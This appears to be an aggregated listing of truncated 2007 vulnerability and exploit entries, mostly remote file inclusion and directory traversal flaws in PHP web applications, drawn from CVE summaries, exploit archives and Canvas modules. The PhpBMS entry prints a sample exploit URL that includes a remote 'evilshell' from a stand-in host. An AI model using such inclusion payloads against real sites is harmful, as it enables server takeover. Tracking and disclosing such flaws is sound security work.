CVE-2007-6129: Improper Input Validation

Directory traversal vulnerability in scripts/include/showcontent.php in Amber Script 1.0 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the id parameter. NOTE: in some environments, this can be leveraged for remote file inclusion by using a UNC share...

phpbbviet-rfi.txt

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- phpBBViet 0.22 phpbbrootpath Remote File Include =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Found: xoron...

phpbms-rfi.txt

PhpBMS 0.92 Remote File Include Exploit ------------------------------| Release date :2007-11-13 13:04| ------------------------------| -------| Exploit| -------| -------------------------------------------------------------------- http://site.net/cron.php?schedulerecord=http://host.com/evilshell...

Mp3 ToolBox 1.0 beta 5 Remote File İnclude Vulnerability

+By CrackersChild+ Script.......: Mp3 ToolBox 1.0 beta 5 Download.....: http://www.radiotoolbox.com/downloads/mp3toolbox/mp3toolboxbeta-5.zip Author.......: CrackersChild | [email protected] & [email protected] Class........: Remote File nclude Vulnerability Dork.........: intitle:M...

DevMass Shopping Cart <= 1.0 Remote File Include Vulnerability

No description provided by source. ======================================================================== || || || || || || || || || &nb...

DevMass Shopping Cart <= 1.0 Remote File Include Vulnerability

Exploit for unknown platform in category web applications ============================================================== DevMass Shopping Cart = 1.0 Remote File Include Vulnerability ==============================================================...

TalkBack 2.2.7 - Multiple Remote File Inclusions

TalkBack 2.2.7 - Multiple Remote File Inclusions ================================================================================================================================== TalkBack 2.2.7 Remote File Include Vulnerability Software : TalkBack version 2.2.7 Developer :...

CVE-2007-6079: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in include/common.php in bcoos 1.0.10 allows remote attackers to include and execute arbitrary local files via a .. dot dot in the xoopsOptionpagetype parameter to the default URI for modules/news/. NOTE: this can be leveraged by using legitimate product...

SWSoft Confixx Fehler.Inc.PHP远程文件包含漏洞

SWSoft Confixx Fehler.Inc.PHP Remote File Include Vulnerability SWSoft Confixx是一款基于PHP的WEB应用程序。 SWSoft Confixx不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Fehler.Inc.PHP'脚本对用户提交的WEB参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 SWSoft Confixx Professional 3.2.1 目前没有详细解决方案提供：...

Joomla Component Carousel Flash Image Gallery RFI Vulnerability

No description provided by source. +By CrackersChild+ Script.......: Carousel Flash Image Gallery Joomla Component Download.....: http://justjoomla.net/joomla-components/carousel-flash-image-gallery.html Author.......: CrackersChild | [email protected] & [email protected]...

Joomla Component Carousel Flash Image Gallery RFI Vulnerability

Exploit for unknown platform in category web applications =============================================================== Joomla Component Carousel Flash Image Gallery RFI Vulnerability =============================================================== +By CrackersChild+ Script.......: Carousel Flas...

CVE-2007-5986: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in include/functions.php in BtiTracker before 1.4.5 allows remote attackers to execute arbitrary SQL commands via unspecified vectors...

Falcon Series One 1.4.3 stable - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/26798/info Falcon Series One is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input. These issues include a remote file-include vulnerability and multiple HTML-injection vulnerabilities. Exploiting...

Falcon Series One 1.4.3 stable - Multiple Input Validation Vulnerabilities

Falcon Series One 1.4.3 stable - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/26798/info Falcon Series One is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input. These issues include a remote...

CVE-2007-5890: Undefined Security Weakness

Directory traversal vulnerability in index.php in easyGB 2.1.1 allows remote attackers to include arbitrary files via the DatabaseType parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Immunity Canvas: VPORTAL_INCLUDE

Name| vportalinclude ---|--- CVE| CVE-2007-5842 Exploit Pack| CANVAS Description| Vortex Portal remote file include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: igamingcms.com CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5842 CVE Name: CVE-2007-5842...

Immunity Canvas: NUBOARD_INCLUDE

Name| nuboardinclude ---|--- CVE| CVE-2007-5841 Exploit Pack| CANVAS Description| nuBoard remote file include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: nuboard CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5841 CVE Name: CVE-2007-5841...

Immunity Canvas: SCWIKI_INCLUDE

Name| scwikiinclude ---|--- CVE| CVE-2007-5843 Exploit Pack| CANVAS Description| scWiki remote file include Notes| CVSS: 6.8 Repeatability: Infinite VENDOR: scWiki CVE Url: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5843 CVE Name: CVE-2007-5843...

syndeocms-rfi.txt

-------------------------------------------- = = = Mdx c 2007 = = http://www.by-mdx.com = -------------------------------------------- = = =syndeoCMS 2.5.01 cmsdir Remote File Include = = ============================================ = = Download: = = http://sourceforge.net/projects/syndeocms =...

Galmeta Post 0.2 - Upload_Config.php Remote File Inclusion

Galmeta Post 0.2 - UploadConfig.php Remote File Inclusion source: https://www.securityfocus.com/bid/26329/info Galmeta Post is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise the...